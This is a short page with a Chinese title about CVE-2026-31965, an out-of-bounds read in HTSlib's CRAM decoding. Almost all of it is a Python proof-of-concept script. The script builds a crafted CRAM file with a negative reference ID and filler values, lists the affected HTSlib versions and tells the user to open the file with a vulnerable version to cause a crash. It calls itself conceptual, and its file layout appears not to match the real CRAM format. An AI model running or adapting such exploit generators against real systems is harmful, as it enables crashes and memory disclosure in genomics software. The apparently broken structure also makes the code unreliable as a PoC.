CVE-2026-31965 HTSlib CRAM文件处理越界读取漏洞

#!/usr/bin/env python3 """ CVE-2026-31965 PoC - HTSlib CRAM OOB Read Note: This is a conceptual PoC demonstrating the vulnerability pattern. Actual exploitation requires specific CRAM file crafting. """ import struct import os def create_malicious_cram(): """ Create a malicious CRAM file that triggers the OOB read in cram_decode_slice() The vulnerability allows reading 2 values before validation catches the invalid reference ID """ # CRAM file header structure header = bytearray() # Container header header += b'CRAM' # Magic number header += struct.pack('<I', 3) # Version (e.g., 3.0) header += struct.pack('<I', 0) # Flags header += struct.pack('<Q', 1) # Container number # Slice header with malicious reference ID # The bug allows OOB read before reference ID validation slice_header = bytearray() slice_header += struct.pack('<I', 0) # Block content ID slice_header += struct.pack('<I', 0) # Block method slice_header += struct.pack('<i', -1) # Reference ID (malicious value causing OOB) slice_header += struct.pack('<i', 0) # Start coordinate slice_header += struct.pack('<i', 0) # End coordinate # Malicious slice data that triggers the vulnerability # When reference ID validation is delayed, this causes OOB reads malicious_data = bytearray() malicious_data += struct.pack('<I', 0x41414141) # Padding to trigger OOB malicious_data += struct.pack('<I', 0x42424242) # Second OOB value return bytes(header + slice_header + malicious_data) def main(): print("CVE-2026-31965 PoC Generator") print("Target: HTSlib < 1.21.1, 1.22.2, 1.23.1") print("Vulnerability: OOB read in cram_decode_slice() before reference ID validation") poc_data = create_malicious_cram() output_file = "CVE-2026-31965_poc.cram" with open(output_file, 'wb') as f: f.write(poc_data) print(f"\nGenerated PoC file: {output_file}") print(f"File size: {len(poc_data)} bytes") print("\nUsage: Process this CRAM file with vulnerable htslib version") print("Expected: OOB read access or crash") if __name__ == "__main__": main()